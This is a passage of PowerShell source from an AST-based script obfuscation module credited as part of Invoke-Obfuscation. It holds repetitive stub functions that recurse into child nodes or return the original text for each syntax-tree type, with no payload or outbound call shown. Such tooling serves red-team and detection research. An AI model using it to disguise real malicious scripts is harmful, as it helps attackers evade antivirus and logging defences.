3138 Else { $AbstractSyntaxTree.Extent.Text }
3139 }
3140 }
3141
3142 function Out-ObfuscatedPropertyMemberAst {
3143 <#
3144
3145 .SYNOPSIS
3146
3147 Obfuscates a PropertyMemberAst using AbstractSyntaxTree-based obfuscation rules.
3148
3149 Author: Ryan Cobb (@cobbr_io)
3150 License: Apache License, Version 2.0
3151 Required Dependecies: Out-ObfuscatedChildrenAst
3152 Optional Dependencies: none
3153
3154 .DESCRIPTION
3155
3156 Out-ObfuscatedPropertyMemberAst obfuscates a PropertyMemberAst using AbstractSyntaxTree-based obfuscation rules.
3157
3158 .PARAMETER AbstractSyntaxTree
3159
3160 Specifies the PropertyMemberAst to be obfuscated.
3161
3162 .PARAMETER AstTypesToObfuscate
3163
3164 Specifies the Ast Types within the root Ast that obfuscation should be applied to. Defaults to all types with obfuscation implemented.
3165
3166 .PARAMETER DisableNestedObfuscation
3167
3168 Specifies that only the root PropertyMemberAst should be obfuscated, obfuscation should not be applied recursively.
3169
3170 .OUTPUTS
3171
3172 String
3173
3174 .EXAMPLE
3175
3176 Out-ObfuscatedPropertyMemberAst -Ast $PropertyMemberAst
3177
3178 .NOTES
3179
3180 Out-ObfuscatedPropertyMemberAst is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
3181
3182 #>
3183 Param (
3184 [Parameter(Position = 0, ValueFromPipeline, Mandatory)]
3185 [ValidateNotNullOrEmpty()]
3186 [Alias('Ast')]
3187 [System.Management.Automation.Language.PropertyMemberAst] $AbstractSyntaxTree,
3188
3189 [Parameter(Position = 1)]
3190 [ValidateNotNullOrEmpty()]
3191 [Alias('AstTypes', 'Types')]
3192 [System.Type[]] $AstTypesToObfuscate = @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'),
3193
3194 [Switch] $DisableNestedObfuscation
3195 )
3196 Process {
3197 Write-Verbose "[Out-ObfuscatedPropertyMemberAst]"
3198 If (-not $DisableNestedObfuscation) {
3199 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
3200 }
3201 Else { $AbstractSyntaxTree.Extent.Text }
3202 }
3203 }
3204
3205 # RedirectionAst Inherited Classes
3206
3207 function Out-ObfuscatedFileRedirectionAst {
3208 <#
3209
3210 .SYNOPSIS
3211
3212 Obfuscates a FileRedirectionAst using AbstractSyntaxTree-based obfuscation rules.
3213
3214 Author: Ryan Cobb (@cobbr_io)
3215 License: Apache License, Version 2.0
3216 Required Dependecies: Out-ObfuscatedChildrenAst
3217 Optional Dependencies: none
3218
3219 .DESCRIPTION
3220
3221 Out-ObfuscatedFileRedirectionAst obfuscates a FileRedirectionAst using AbstractSyntaxTree-based obfuscation rules.
3222
3223 .PARAMETER AbstractSyntaxTree
3224
3225 Specifies the FileRedirectionAst to be obfuscated.
3226
3227 .PARAMETER AstTypesToObfuscate
3228
3229 Specifies the Ast Types within the root Ast that obfuscation should be applied to. Defaults to all types with obfuscation implemented.
3230
3231 .PARAMETER DisableNestedObfuscation
3232
3233 Specifies that only the root FileRedirectionAst should be obfuscated, obfuscation should not be applied recursively.
3234
3235 .OUTPUTS
3236
3237 String
3238
3239 .EXAMPLE
3240
3241 Out-ObfuscatedFileRedirectionAst -Ast $FileRedirectionAst
3242
3243 .NOTES
3244
3245 Out-ObfuscatedFileRedirectionAst is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
3246
3247 #>
3248 Param (
3249 [Parameter(Position = 0, ValueFromPipeline, Mandatory)]
3250 [ValidateNotNullOrEmpty()]
3251 [Alias('Ast')]
3252 [System.Management.Automation.Language.FileRedirectionAst] $AbstractSyntaxTree,
3253
3254 [Parameter(Position = 1)]
3255 [ValidateNotNullOrEmpty()]
3256 [Alias('AstTypes', 'Types')]
3257 [System.Type[]] $AstTypesToObfuscate = @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'),
3258
3259 [Switch] $DisableNestedObfuscation
3260 )
3261 Process {
3262 Write-Verbose "[Out-ObfuscatedFileRedirectionAst]"
3263 If (-not $DisableNestedObfuscation) {
3264 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
3265 }
3266 Else { $AbstractSyntaxTree.Extent.Text }
3267 }
3268 }
3269
3270 function Out-ObfuscatedMergingRedirectionAst {
3271 <#
3272
3273 .SYNOPSIS
3274
3275 Obfuscates a MergingRedirectionAst using AbstractSyntaxTree-based obfuscation rules.
3276
3277 Author: Ryan Cobb (@cobbr_io)
3278 License: Apache License, Version 2.0
3279 Required Dependecies: Out-ObfuscatedChildrenAst
3280 Optional Dependencies: none
3281
3282 .DESCRIPTION
3283
3284 Out-ObfuscatedMergingRedirectionAst obfuscates a MergingRedirectionAst using AbstractSyntaxTree-based obfuscation rules.
3285
3286 .PARAMETER AbstractSyntaxTree
3287
3288 Specifies the MergingRedirectionAst to be obfuscated.
3289
3290 .PARAMETER AstTypesToObfuscate
3291
3292 Specifies the Ast Types within the root Ast that obfuscation should be applied to. Defaults to all types with obfuscation implemented.
3293
3294 .PARAMETER DisableNestedObfuscation
3295
3296 Specifies that only the root MergingRedirectionAst should be obfuscated, obfuscation should not be applied recursively.
3297
3298 .OUTPUTS
3299
3300 String
3301
3302 .EXAMPLE
3303
3304 Out-ObfuscatedMergingRedirectionAst -Ast $MergingRedirectionAst
3305
3306 .NOTES
3307
3308 Out-ObfuscatedMergingRedirectionAst is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
3309
3310 #>
3311 Param (
3312 [Parameter(Position = 0, ValueFromPipeline, Mandatory)]
3313 [ValidateNotNullOrEmpty()]
3314 [Alias('Ast')]
3315 [System.Management.Automation.Language.MergingRedirectionAst] $AbstractSyntaxTree,
3316
3317 [Parameter(Position = 1)]
3318 [ValidateNotNullOrEmpty()]
3319 [Alias('AstTypes', 'Types')]
3320 [System.Type[]] $AstTypesToObfuscate = @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'),
3321
3322 [Switch] $DisableNestedObfuscation
3323 )
3324 Process {
3325 Write-Verbose "[Out-ObfuscatedMergingRedirectionAst]"
3326 If (-not $DisableNestedObfuscation) {
3327 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
3328 }
3329 Else { $AbstractSyntaxTree.Extent.Text }
3330 }
3331 }
3332
3333 # StatementAst Inherited Classes
3334
3335 function Out-ObfuscatedBlockStatementAst {
3336 <#
3337
3338 .SYNOPSIS
3339
3340 Obfuscates a BlockStatementAst using AbstractSyntaxTree-based obfuscation rules.
3341
3342 Author: Ryan Cobb (@cobbr_io)
3343 License: Apache License, Version 2.0
3344 Required Dependecies: Out-ObfuscatedChildrenAst
3345 Optional Dependencies: none
3346
3347 .DESCRIPTION
3348
3349 Out-ObfuscatedBlockStatementAst obfuscates a BlockStatementAst using AbstractSyntaxTree-based obfuscation rules.
3350
3351 .PARAMETER AbstractSyntaxTree
3352
3353 Specifies the BlockStatementAst to be obfuscated.
3354
3355 .PARAMETER AstTypesToObfuscate
3356
3357 Specifies the Ast Types within the root Ast that obfuscation should be applied to. Defaults to all types with obfuscation implemented.
3358
3359 .PARAMETER DisableNestedObfuscation
3360
3361 Specifies that only the root BlockStatementAst should be obfuscated, obfuscation should not be applied recursively.
3362
3363 .OUTPUTS
3364
3365 String
3366
3367 .EXAMPLE
3368
3369 Out-ObfuscatedBlockStatementAst -Ast $BlockStatementAst
3370
3371 .NOTES
3372
3373 Out-ObfuscatedBlockStatementAst is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
3374
3375 #>
3376 Param (
3377 [Parameter(Position = 0, ValueFromPipeline, Mandatory)]
3378 [ValidateNotNullOrEmpty()]
3379 [Alias('Ast')]
3380 [System.Management.Automation.Language.BlockStatementAst] $AbstractSyntaxTree,
3381
3382 [Parameter(Position = 1)]
3383 [ValidateNotNullOrEmpty()]
3384 [Alias('AstTypes', 'Types')]
3385 [System.Type[]] $AstTypesToObfuscate = @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'),
3386
3387 [Switch] $DisableNestedObfuscation
3388 )
3389 Process {
3390 Write-Verbose "[Out-ObfuscatedBlockStatementAst]"
3391 If (-not $DisableNestedObfuscation) {
3392 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
3393 }
3394 Else { $AbstractSyntaxTree.Extent.Text }
3395 }
3396 }
3397
3398 function Out-ObfuscatedBreakStatementAst {
3399 <#
3400
3401 .SYNOPSIS
3402
3403 Obfuscates a BreakStatementAst using AbstractSyntaxTree-based obfuscation rules.
3404
3405 Author: Ryan Cobb (@cobbr_io)
3406 License: Apache License, Version 2.0
3407 Required Dependecies: Out-ObfuscatedChildrenAst
3408 Optional Dependencies: none
3409
3410 .DESCRIPTION
3411
3412 Out-ObfuscatedBreakStatementAst obfuscates a BreakStatementAst using AbstractSyntaxTree-based obfuscation rules.
3413
3414 .PARAMETER AbstractSyntaxTree
3415
3416 Specifies the BreakStatementAst to be obfuscated.
3417
3418 .PARAMETER AstTypesToObfuscate
3419
3420 Specifies the Ast Types within the root Ast that obfuscation should be applied to. Defaults to all types with obfuscation implemented.
3421
3422 .PARAMETER DisableNestedObfuscation
3423
3424 Specifies that only the root BreakStatementAst should be obfuscated, obfuscation should not be applied recursively.
3425
3426 .OUTPUTS
3427
3428 String
3429
3430 .EXAMPLE
3431
3432 Out-ObfuscatedBreakStatementAst -Ast $BreakStatementAst
3433
3434 .NOTES
3435
3436 Out-ObfuscatedBreakStatementAst is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
3437
3438 #>
3439 Param (
3440 [Parameter(Position = 0, ValueFromPipeline, Mandatory)]
3441 [ValidateNotNullOrEmpty()]
3442 [Alias('Ast')]
3443 [System.Management.Automation.Language.BreakStatementAst] $AbstractSyntaxTree,
3444
3445 [Parameter(Position = 1)]
3446 [ValidateNotNullOrEmpty()]
3447 [Alias('AstTypes', 'Types')]
3448 [System.Type[]] $AstTypesToObfuscate = @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'),
3449
3450 [Switch] $DisableNestedObfuscation
3451 )
3452 Process {
3453 Write-Verbose "[Out-ObfuscatedBreakStatementAst]"
3454 If (-not $DisableNestedObfuscation) {
3455 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
3456 }
3457 Else { $AbstractSyntaxTree.Extent.Text }
3458 }
3459 }
3460
3461 function Out-ObfuscatedCommandBaseAst {
3462 <#
3463
3464 .SYNOPSIS
3465
3466 Obfuscates a CommandBaseAst using AbstractSyntaxTree-based obfuscation rules.
3467
3468 Author: Ryan Cobb (@cobbr_io)
3469 License: Apache License, Version 2.0
3470 Required Dependecies: Out-ObfuscatedChildrenAst
3471 Optional Dependencies: none
3472
3473 .DESCRIPTION
3474
3475 Out-ObfuscatedCommandBaseAst obfuscates a CommandBaseAst using AbstractSyntaxTree-based obfuscation rules.
3476
3477 .PARAMETER AbstractSyntaxTree
3478
3479 Specifies the CommandBaseAst to be obfuscated.
3480
3481 .PARAMETER AstTypesToObfuscate
3482
3483 Specifies the Ast Types within the root Ast that obfuscation should be applied to. Defaults to all types with obfuscation implemented.
3484
3485 .PARAMETER DisableNestedObfuscation
3486
3487 Specifies that only the root CommandBaseAst should be obfuscated, obfuscation should not be applied recursively.
3488
3489 .OUTPUTS
3490
3491 String
3492
3493 .EXAMPLE
3494
3495 Out-ObfuscatedCommandBaseAst -Ast $CommandBaseAst
3496
3497 .NOTES
3498
3499 Out-ObfuscatedCommandBaseAst is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
3500
3501 #>
3502 Param (
3503 [Parameter(Position = 0, ValueFromPipeline, Mandatory)]
3504 [ValidateNotNullOrEmpty()]
3505 [Alias('Ast')]
3506 [System.Management.Automation.Language.CommandBaseAst] $AbstractSyntaxTree,
3507
3508 [Parameter(Position = 1)]
3509 [ValidateNotNullOrEmpty()]
3510 [Alias('AstTypes', 'Types')]
3511 [System.Type[]] $AstTypesToObfuscate = @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'),
3512
3513 [Switch] $DisableNestedObfuscation
3514 )
3515 Process {
3516 Write-Verbose "[Out-ObfuscatedCommandBaseAst]"
3517 If (-not $DisableNestedObfuscation) {
3518 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
3519 }
3520 Else { $AbstractSyntaxTree.Extent.Text }
3521 }
3522 }
3523
3524 function Out-ObfuscatedConfigurationDefinitionAst {
3525 <#
3526
3527 .SYNOPSIS
3528
3529 Obfuscates a ConfigurationDefinitionAst using AbstractSyntaxTree-based obfuscation rules.
3530
3531 Author: Ryan Cobb (@cobbr_io)
3532 License: Apache License, Version 2.0
3533 Required Dependecies: Out-ObfuscatedChildrenAst
3534 Optional Dependencies: none
3535
3536 .DESCRIPTION
3537
3538 Out-ObfuscatedConfigurationDefinitionAst obfuscates a ConfigurationDefinitionAst using AbstractSyntaxTree-based obfuscation rules.
3539
3540 .PARAMETER AbstractSyntaxTree
3541
3542 Specifies the ConfigurationDefinitionAst to be obfuscated.
3543
3544 .PARAMETER AstTypesToObfuscate
3545
3546 Specifies the Ast Types within the root Ast that obfuscation should be applied to. Defaults to all types with obfuscation implemented.
3547
3548 .PARAMETER DisableNestedObfuscation
3549
3550 Specifies that only the root ConfigurationDefinitionAst should be obfuscated, obfuscation should not be applied recursively.
3551
3552 .OUTPUTS
3553
3554 String
3555
3556 .EXAMPLE
3557
3558 Out-ObfuscatedConfigurationDefinitionAst -Ast $ConfigurationDefinitionAst
3559
3560 .NOTES
3561
3562 Out-ObfuscatedConfigurationDefinitionAst is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
3563
3564 #>
3565 Param (
3566 [Parameter(Position = 0, ValueFromPipeline, Mandatory)]
3567 [ValidateNotNullOrEmpty()]
3568 [Alias('Ast')]
3569 [System.Management.Automation.Language.ConfigurationDefinitionAst] $AbstractSyntaxTree,
3570
3571 [Parameter(Position = 1)]
3572 [ValidateNotNullOrEmpty()]
3573 [Alias('AstTypes', 'Types')]
3574 [System.Type[]] $AstTypesToObfuscate = @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'),
3575
3576 [Switch] $DisableNestedObfuscation
3577 )
3578 Process {
3579 Write-Verbose "[Out-ObfuscatedConfigurationDefinitionAst]"
3580 If (-not $DisableNestedObfuscation) {
3581 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
3582 }
3583 Else { $AbstractSyntaxTree.Extent.Text }
3584 }
3585 }
3586
3587 function Out-ObfuscatedContinueStatementAst {
3588 <#
3589
3590 .SYNOPSIS
3591
3592 Obfuscates a ContinueStatementAst using AbstractSyntaxTree-based obfuscation rules.
3593
3594 Author: Ryan Cobb (@cobbr_io)
3595 License: Apache License, Version 2.0
3596 Required Dependecies: Out-ObfuscatedChildrenAst
3597 Optional Dependencies: none
3598
3599 .DESCRIPTION
3600
3601 Out-ObfuscatedContinueStatementAst obfuscates a ContinueStatementAst using AbstractSyntaxTree-based obfuscation rules.
3602
3603 .PARAMETER AbstractSyntaxTree
3604
3605 Specifies the ContinueStatementAst to be obfuscated.
3606
3607 .PARAMETER AstTypesToObfuscate
3608
3609 Specifies the Ast Types within the root Ast that obfuscation should be applied to. Defaults to all types with obfuscation implemented.
3610
3611 .PARAMETER DisableNestedObfuscation
3612
3613 Specifies that only the root ContinueStatementAst should be obfuscated, obfuscation should not be applied recursively.
3614
3615 .OUTPUTS
3616
3617 String
3618
3619 .EXAMPLE
3620
3621 Out-ObfuscatedContinueStatementAst -Ast $ContinueStatementAst
3622
3623 .NOTES
3624
3625 Out-ObfuscatedContinueStatementAst is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
3626
3627 #>
3628 Param (
3629 [Parameter(Position = 0, ValueFromPipeline, Mandatory)]
3630 [ValidateNotNullOrEmpty()]
3631 [Alias('Ast')]
3632 [System.Management.Automation.Language.ContinueStatementAst] $AbstractSyntaxTree,
3633
3634 [Parameter(Position = 1)]
3635 [ValidateNotNullOrEmpty()]
3636 [Alias('AstTypes', 'Types')]
3637 [System.Type[]] $AstTypesToObfuscate = @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'),
3638
3639 [Switch] $DisableNestedObfuscation
3640 )
3641 Process {
3642 Write-Verbose "[Out-ObfuscatedContinueStatementAst]"
3643 If (-not $DisableNestedObfuscation) {
3644 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
3645 }
3646 Else { $AbstractSyntaxTree.Extent.Text }
3647 }
3648 }
3649
3650 function Out-ObfuscatedDataStatementAst {
3651 <#
3652
3653 .SYNOPSIS
3654
3655 Obfuscates a DataStatementAst using AbstractSyntaxTree-based obfuscation rules.
3656
3657 Author: Ryan Cobb (@cobbr_io)
3658 License: Apache License, Version 2.0
3659 Required Dependecies: Out-ObfuscatedChildrenAst
3660 Optional Dependencies: none
3661
3662 .DESCRIPTION
3663
3664 Out-ObfuscatedDataStatementAst obfuscates a DataStatementAst using AbstractSyntaxTree-based obfuscation rules.
3665
3666 .PARAMETER AbstractSyntaxTree
3667
3668 Specifies the DataStatementAst to be obfuscated.
3669
3670 .PARAMETER AstTypesToObfuscate
3671
3672 Specifies the Ast Types within the root Ast that obfuscation should be applied to. Defaults to all types with obfuscation implemented.
3673
3674 .PARAMETER DisableNestedObfuscation
3675
3676 Specifies that only the root DataStatementAst should be obfuscated, obfuscation should not be applied recursively.
3677
3678 .OUTPUTS
3679
3680 String
3681
3682 .EXAMPLE
3683
3684 Out-ObfuscatedDataStatementAst -Ast $DataStatementAst
3685
3686 .NOTES
3687
3688 Out-ObfuscatedDataStatementAst is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
3689
3690 #>
3691 Param (
3692 [Parameter(Position = 0, ValueFromPipeline, Mandatory)]
3693 [ValidateNotNullOrEmpty()]
3694 [Alias('Ast')]
3695 [System.Management.Automation.Language.DataStatementAst] $AbstractSyntaxTree,
3696
3697 [Parameter(Position = 1)]
3698 [ValidateNotNullOrEmpty()]
3699 [Alias('AstTypes', 'Types')]
3700 [System.Type[]] $AstTypesToObfuscate = @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'),
3701
3702 [Switch] $DisableNestedObfuscation
3703 )
3704 Process {
3705 Write-Verbose "[Out-ObfuscatedDataStatementAst]"
3706 If (-not $DisableNestedObfuscation) {
3707 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
3708 }
3709 Else { $AbstractSyntaxTree.Extent.Text }
3710 }
3711 }
3712
3713 function Out-ObfuscatedDynamicKeywordStatementAst {
3714 <#
3715
3716 .SYNOPSIS
3717
3718 Obfuscates a DynamicKeywordStatementAst using AbstractSyntaxTree-based obfuscation rules.
3719
3720 Author: Ryan Cobb (@cobbr_io)
3721 License: Apache License, Version 2.0
3722 Required Dependecies: Out-ObfuscatedChildrenAst
3723 Optional Dependencies: none
3724
3725 .DESCRIPTION
3726
3727 Out-ObfuscatedDynamicKeywordStatementAst obfuscates a DynamicKeywordStatementAst using AbstractSyntaxTree-based obfuscation rules.
3728
3729 .PARAMETER AbstractSyntaxTree
3730
3731 Specifies the DynamicKeywordStatementAst to be obfuscated.
3732
3733 .PARAMETER AstTypesToObfuscate
3734
3735 Specifies the Ast Types within the root Ast that obfuscation should be applied to. Defaults to all types with obfuscation implemented.
3736
3737 .PARAMETER DisableNestedObfuscation
3738
3739 Specifies that only the root DynamicKeywordStatementAst should be obfuscated, obfuscation should not be applied recursively.
3740
3741 .OUTPUTS
3742
3743 String
3744
3745 .EXAMPLE
3746
3747 Out-ObfuscatedDynamicKeywordStatementAst -Ast $DataStatementAst
3748
3749 .NOTES
3750
3751 Out-ObfuscatedDynamicKeywordStatementAst is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
3752
3753 #>
3754 Param (
3755 [Parameter(Position = 0, ValueFromPipeline, Mandatory)]
3756 [ValidateNotNullOrEmpty()]
3757 [Alias('Ast')]
3758 [System.Management.Automation.Language.DynamicKeywordStatementAst] $AbstractSyntaxTree,
3759
3760 [Parameter(Position = 1)]
3761 [ValidateNotNullOrEmpty()]
3762 [Alias('AstTypes', 'Types')]
3763 [System.Type[]] $AstTypesToObfuscate = @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'),
3764
3765 [Switch] $DisableNestedObfuscation
3766 )
3767 Process {
3768 Write-Verbose "[Out-ObfuscatedDynamicKeywordStatementAst]"
3769 If (-not $DisableNestedObfuscation) {
3770 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
3771 }
3772 Else { $AbstractSyntaxTree.Extent.Text }
3773 }
3774 }
3775
3776 function Out-ObfuscatedExitStatementAst {
3777 <#
3778
3779 .SYNOPSIS
3780
3781 Obfuscates a ExitStatementAst using AbstractSyntaxTree-based obfuscation rules.
3782
3783 Author: Ryan Cobb (@cobbr_io)
3784 License: Apache License, Version 2.0
3785 Required Dependecies: Out-ObfuscatedChildrenAst
3786 Optional Dependencies: none
3787
3788 .DESCRIPTION
3789
3790 Out-ObfuscatedExitStatementAst obfuscates a ExitStatementAst using AbstractSyntaxTree-based obfuscation rules.
3791
3792 .PARAMETER AbstractSyntaxTree
3793
3794 Specifies the ExitStatementAst to be obfuscated.
3795
3796 .PARAMETER AstTypesToObfuscate
3797
3798 Specifies the Ast Types within the root Ast that obfuscation should be applied to. Defaults to all types with obfuscation implemented.
3799
3800 .PARAMETER DisableNestedObfuscation
3801
3802 Specifies that only the root ExitStatementAst should be obfuscated, obfuscation should not be applied recursively.
3803
3804 .OUTPUTS
3805
3806 String
3807
3808 .EXAMPLE
3809
3810 Out-ObfuscatedExitStatementAst -Ast $ExitStatementAst
3811
3812 .NOTES
3813
3814 Out-ObfuscatedExitStatementAst is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
3815
3816 #>
3817 Param (
3818 [Parameter(Position = 0, ValueFromPipeline, Mandatory)]
3819 [ValidateNotNullOrEmpty()]
3820 [Alias('Ast')]
3821 [System.Management.Automation.Language.ExitStatementAst] $AbstractSyntaxTree,
3822
3823 [Parameter(Position = 1)]
3824 [ValidateNotNullOrEmpty()]
3825 [Alias('AstTypes', 'Types')]
3826 [System.Type[]] $AstTypesToObfuscate = @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'),
3827
3828 [Switch] $DisableNestedObfuscation
3829 )
3830 Process {
3831 Write-Verbose "[Out-ObfuscatedExitStatementAst]"
3832 If (-not $DisableNestedObfuscation) {
3833 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
3834 }
3835 Else { $AbstractSyntaxTree.Extent.Text }
3836 }
3837 }
3838
3839 function Out-ObfuscatedFunctionDefinitionAst {
3840 <#
3841
3842 .SYNOPSIS
3843
3844 Obfuscates a FunctionDefinitionAst using AbstractSyntaxTree-based obfuscation rules.
3845
3846 Author: Ryan Cobb (@cobbr_io)
3847 License: Apache License, Version 2.0
3848 Required Dependecies: Out-ObfuscatedChildrenAst
3849 Optional Dependencies: none
3850
3851 .DESCRIPTION
3852
3853 Out-ObfuscatedFunctionDefinitionAst obfuscates a FunctionDefinitionAst using AbstractSyntaxTree-based obfuscation rules.
3854
3855 .PARAMETER AbstractSyntaxTree
3856
3857 Specifies the FunctionDefinitionAst to be obfuscated.
3858
3859 .PARAMETER AstTypesToObfuscate
3860
3861 Specifies the Ast Types within the root Ast that obfuscation should be applied to. Defaults to all types with obfuscation implemented.
3862
3863 .PARAMETER DisableNestedObfuscation
3864
3865 Specifies that only the root FunctionDefinitionAst should be obfuscated, obfuscation should not be applied recursively.
3866
3867 .OUTPUTS
3868
3869 String
3870
3871 .EXAMPLE
3872
3873 Out-ObfuscatedFunctionDefinitionAst -Ast $FunctionDefinitionAst
3874
3875 .NOTES
3876
3877 Out-ObfuscatedFunctionDefinitionAst is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
3878
3879 #>
3880 Param (
3881 [Parameter(Position = 0, ValueFromPipeline, Mandatory)]
3882 [ValidateNotNullOrEmpty()]
3883 [Alias('Ast')]
3884 [System.Management.Automation.Language.FunctionDefinitionAst] $AbstractSyntaxTree,
3885
